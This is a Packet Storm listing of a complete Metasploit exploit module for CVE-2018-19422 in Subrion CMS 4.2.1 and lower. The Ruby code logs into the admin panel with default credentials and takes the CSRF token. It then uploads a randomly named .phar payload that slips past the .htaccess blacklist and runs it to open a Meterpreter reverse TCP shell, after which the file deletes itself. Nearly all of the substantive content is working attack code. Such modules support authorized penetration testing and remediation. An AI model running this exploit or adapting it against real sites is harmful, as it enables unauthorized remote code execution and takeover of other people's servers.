what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Intelliants Subrion CMS 4.2.1 Remote Code Execution

Intelliants Subrion CMS 4.2.1 Remote Code Execution
Posted Aug 4, 2023
Authored by Fellipe Oliveira, Ismail E. Dawoodjee, Hexife | Site metasploit.com

This Metasploit module exploits an authenticated file upload vulnerability in Subrion CMS versions 4.2.1 and lower. The vulnerability is caused by the .htaccess file not preventing the execution of .pht, .phar, and .xhtml files. Files with these extensions are not included in the .htaccess blacklist, hence these files can be uploaded and executed to achieve remote code execution. In this module, a .phar file with a randomized name is uploaded and executed to receive a Meterpreter session on the target, then deletes itself afterwards.

tags | exploit, remote, code execution, file upload
advisories | CVE-2018-19422
SHA-256 | 72859313ffb21cb022d15b4566fe8863b0a0f88f5ef2dff2e8c3eba2e934c2ce

Intelliants Subrion CMS 4.2.1 Remote Code Execution

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::PhpEXE
include Msf::Exploit::Remote::HttpClient

prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Intelliants Subrion CMS 4.2.1 - Authenticated File Upload Bypass to RCE',
'Description' => %q{
This module exploits an authenticated file upload vulnerability in
Subrion CMS versions 4.2.1 and lower. The vulnerability is caused by
the .htaccess file not preventing the execution of .pht, .phar, and
.xhtml files. Files with these extensions are not included in the
.htaccess blacklist, hence these files can be uploaded and executed
to achieve remote code execution. In this module, a .phar file with
a randomized name is uploaded and executed to receive a Meterpreter
session on the target, then deletes itself afterwards.
},
'License' => MSF_LICENSE,
'Author' => [
'Hexife', # Original discovery, PoC, and CVE submission
'Fellipe Oliveira', # ExploitDB author
'Ismail E. Dawoodjee' # Metasploit module author
],
'References' => [
[ 'EDB', '49876' ],
[ 'CVE', '2018-19422' ],
[ 'URL', 'https://github.com/intelliants/subrion/issues/801' ],
[ 'URL', 'https://github.com/intelliants/subrion/issues/840' ],
[ 'URL', 'https://github.com/advisories/GHSA-73xj-v6gc-g5p5' ]
],
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [
[
'PHP',
{
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Type' => :php,
'DefaultOptions' => {
'PAYLOAD' => 'php/meterpreter/reverse_tcp'
}
}
]
],
'Privileged' => false,
'DisclosureDate' => '2018-11-04',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
}
)
)
register_options(
[
Opt::RPORT(80, true, 'Subrion CMS default port'),
OptString.new('TARGETURI', [ true, 'Base path', '/' ]),
OptString.new('USERNAME', [ true, 'Username to authenticate with', 'admin' ]),
OptString.new('PASSWORD', [ true, 'Password to authenticate with', 'admin' ])
]
)
end

def check
uri = normalize_uri(target_uri.path, 'panel/') # requires a trailing forward slash
print_status("Checking target web server for a response at: #{full_uri(uri)}")
res = send_request_cgi({
'method' => 'GET',
'uri' => uri
})

unless res
return CheckCode::Unknown('Target did not respond to check request.')
end

unless res.code == 200 && res.body.downcase.include?('subrion')
return CheckCode::Unknown('Target is not running Subrion CMS.')
end

print_good('Target is running Subrion CMS.')

# Powered by <a href="https://subrion.org/" title="Subrion CMS">Subrion CMS v4.2.1</a><br>
print_status('Checking Subrion CMS version...')
version_number = res.body.to_s.scan(/Subrion\sCMS\sv([\d.]+)/).flatten.first

unless version_number
return CheckCode::Detected('Subrion CMS version cannot be determined.')
end

print_good("Target is running Subrion CMS Version #{version_number}.")

if Rex::Version.new(version_number) <= Rex::Version.new('4.2.1')
return CheckCode::Appears(
'However, this version check does not guarantee that the target is vulnerable, ' \
'since a fix for the vulnerability can easily be applied by a web admin.'
)
end

return CheckCode::Safe
end

def login_and_get_csrf_token(username, password)
print_status('Connecting to Subrion Admin Panel login page to obtain CSRF token...')

# Session cookies need to be kept to preserve the CSRF token across multiple requests
uri = normalize_uri(target_uri.path, 'panel/')
res = send_request_cgi({
'method' => 'GET',
'uri' => uri,
'keep_cookies' => true
})

unless res && res.code == 200
fail_with(Failure::Unknown, "#{peer} - Could not access the Subrion Admin Panel page.")
end

# <input type="hidden" name="__st" value="CA0S3w50vz1zRpdgZl98JAMVrimiXI63lKtxAwyi">
%r{name="__st" value="(?<csrf_token>[\w+=/]+)">} =~ res.body
fail_with(Failure::NotFound, "#{peer} - Failed to get CSRF token.") if csrf_token.nil?

print_good("Successfully obtained CSRF token: #{csrf_token}")

print_status(
"Logging in to Subrion Admin Panel at: #{full_uri(uri)} " \
"using credentials #{datastore['USERNAME']}:#{datastore['PASSWORD']}"
)
auth = send_request_cgi({
'method' => 'POST',
'uri' => uri,
'keep_cookies' => true,
'vars_post' => {
'__st' => csrf_token,
'username' => username,
'password' => password
}
})

unless auth && auth.code == 200
fail_with(Failure::NoAccess, "#{peer} - Failed to log in, cannot access the Admin Panel page.")
end

%r{name="__st" value="(?<csrf_token_auth>[\w+=/]+)">} =~ auth.body
unless csrf_token == csrf_token_auth && auth.body.downcase.include?('administrator')
fail_with(Failure::NoAccess, "#{peer} - Failed to log in, invalid credentials.")
end

print_good('Successfully logged in as Administrator.')
return csrf_token
end

def upload_and_execute_payload(csrf_token)
print_status('Preparing payload...')

# set `unlink_self: true` to delete the file after execution
payload_name = "#{Rex::Text.rand_text_alpha_lower(10)}.phar"
php_payload = get_write_exec_payload(unlink_self: true)

data = Rex::MIME::Message.new
data.add_part(Rex::Text.rand_text_alphanumeric(14), nil, nil, 'form-data; name="reqid"')
data.add_part('upload', nil, nil, 'form-data; name="cmd"')
data.add_part('l1_Lw', nil, nil, 'form-data; name="target"')
data.add_part(csrf_token, nil, nil, 'form-data; name="__st"')
data.add_part(
"#{php_payload}\n",
'application/octet-stream',
nil,
"form-data; name=\"upload[]\"; filename=\"#{payload_name}\""
)
data.add_part(Time.now.getutc.to_i.to_s, nil, nil, 'form-data; name="mtime[]"')

print_status('Sending POST data...')

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'panel', 'uploads', 'read.json'),
'keep_cookies' => true,
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => data.to_s
})

unless res && res.code == 200
fail_with(Failure::UnexpectedReply, "#{peer} - Failed to upload PHP payload.")
end
payload_uri = normalize_uri(target_uri.path, 'uploads', payload_name)

print_good("Successfully uploaded payload at: #{full_uri(payload_uri)}")

# This execution request returns nil
print_status("Executing '#{payload_name}'... This file will be deleted after execution.")
send_request_cgi({
'method' => 'GET',
'uri' => payload_uri,
'keep_cookies' => true
})

print_good("Successfully executed payload: #{full_uri(payload_uri)}")
end

def exploit
csrf_token = login_and_get_csrf_token(datastore['USERNAME'], datastore['PASSWORD'])
upload_and_execute_payload(csrf_token)
end

end
Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    3 Files
  • 8
    May 8th
    4 Files
  • 9
    May 9th
    54 Files
  • 10
    May 10th
    12 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    17 Files
  • 14
    May 14th
    11 Files
  • 15
    May 15th
    0 Files
  • 16
    May 16th
    0 Files
  • 17
    May 17th
    0 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    0 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close